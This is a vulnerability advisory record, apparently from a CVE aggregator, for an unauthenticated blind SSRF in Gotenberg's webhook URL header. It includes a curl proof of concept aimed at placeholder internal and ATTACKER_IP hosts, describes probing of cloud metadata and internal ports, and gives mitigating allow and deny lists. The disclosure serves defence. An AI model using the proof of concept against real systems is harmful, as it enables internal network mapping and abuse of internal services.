{"id":"CVE-2026-39383","aliases":["GHSA-5vh4-rgv7-p9g4","GO-2026-5155"],"url":"https://o3.security/vulnerability/CVE-2026-39383","summary":"Gotenberg unauthenticated blind SSRF via unfiltered webhook URL","details":"# CVE Report — Unauthenticated SSRF via Unfiltered Webhook URL in Gotenberg\n\n## Severity\n\n| Field     | Value                                  |\n|-----------|----------------------------------------|\n| CVSS v3.1 | **8.6 High**                           |\n| Vector    | `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N` |\n| CWE       | CWE-918 — Server-Side Request Forgery  |\n| Auth      | None                                   |\n\n**Affected:** Gotenberg 8.29.1 — default `gotenberg/gotenberg:8` Docker image.\n\n---\n\n## Impact\n\nAn unauthenticated attacker with network access to Gotenberg can force it to make outbound HTTP POST requests to any internal or external destination by supplying an arbitrary URL in the `Gotenberg-Webhook-Url` request header.\n\n**This is a blind SSRF.** Gotenberg POSTs the converted document to the webhook URL and checks only whether the response status code is an error (>= 400). The response body from the SSRF target is never forwarded to the attacker. The `Gotenberg-Webhook-Error-Url` header — if supplied — receives the original converted PDF when the webhook POST fails, not the target's response body.\n\nThe practical impact is therefore:\n\n- **Internal network probing:** if the error URL is NOT called, the target returned 2xx → host and port are open and accepting POST requests. If the error URL IS called, the target returned 4xx/5xx or timed out → port closed or service rejected the request. This allows mapping internal infrastructure one request at a time. \n- **Forced POST to internal services:** any internal service that performs a side effect on POST (triggering a webhook, writing state, executing a job) can be abused without reading its response.\n- **Cloud metadata interaction:** Gotenberg can be forced to POST to `http://169.254.169.254/` — confirming reachability and probing available paths — but cannot read the credential response body through this channel alone.\n\nThe retryable client issues up to 4 automatic retries per request, meaning one attacker request generates up to 4 probes against the internal target.\n\n---\n\n## Proof of Concept\n\n```bash\n# Minimal SSRF trigger — replace ATTACKER_IP with your listener & INTERNAL_IP with the target.\ncurl -s -o /dev/null -w \"HTTP:%{http_code}\" \\\n  -X POST 'http://TARGET:3000/forms/chromium/convert/url' \\\n  -H 'Gotenberg-Webhook-Url: http://INTERNAL_IP:9999/capture' \\\n  -H 'Gotenberg-Webhook-Error-Url: http://ATTACKER_IP:9999/error' \\\n  -F 'url=https://example.com'\n```\n\n---\n\n## Root Cause\n\n`FilterDeadline` in `filter.go` is the intended URL gating function but its contract fails open: when both the allow and deny lists are empty (the default), it returns `nil` unconditionally, allowing any URL through.\n\n```go\nfunc FilterDeadline(allowed, denied []*regexp2.Regexp, s string, deadline time.Time) error {\n    if len(allowed) > 0 { ... }  // skipped — empty by default\n    if len(denied) > 0  { ... }  // skipped — empty by default\n    return nil                    // any URL passes\n}\n```\n\nThe unvalidated URL is then stored verbatim and used as the destination for an outbound `retryablehttp` request in `client.go:62`.\n\n---\n\n## Recommendations \n\n**Gotenberg maintainers:** Invert the default — deny all webhook URLs unless an explicit allowlist is configured, or ship a built-in denylist covering RFC-1918 and link-local ranges.\n\n**Operators (immediate):**\n```bash\n# Restrict to your own receiver\n--env GOTENBERG_API_WEBHOOK_ALLOW_LIST=\"https://my-receiver\\.example\\.com/.*\"\n# Or block internal ranges\n--env GOTENBERG_API_WEBHOOK_DENY_LIST=\"^https?://(169\\.254\\.|10\\.|172\\.(1[6-9]|2[0-9]|3[01])\\.|192\\.168\\.)\"\n```\n\n---\n\n## Attribution\n\nThis is a Gotenberg-only issue. No third-party library is at fault. The root cause is an insecure default in `FilterDeadline` where an unconfigured state means \"allow all\" rather than \"deny all\".\n\n---\n\n## Timeline\n\n| Date       | Event |\n|------------|-------|\n| 2026-04-04 | Vulnerability discovered |\n| 2026-04-05 | SSRF confirmed — outbound POST captured at local listener |\n| 2026-04-05 | Report drafted for disclosure |","published":"2026-05-05T20:39:03.651Z","modified":"2026-08-12T03:51:13.466695202Z","cvss":null,"epss":{"score":0.00236,"percentile":0.1473,"asOf":"2026-08-12"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/gotenberg/gotenberg/v8","fixedVersion":"8.31.0"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/39xxx/CVE-2026-39383.json"},{"type":"ADVISORY","url":"https://github.com/gotenberg/gotenberg/security/advisories/GHSA-5vh4-rgv7-p9g4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39383"},{"type":"PACKAGE","url":"https://github.com/gotenberg/gotenberg"},{"type":"WEB","url":"https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:13.466695202Z"}}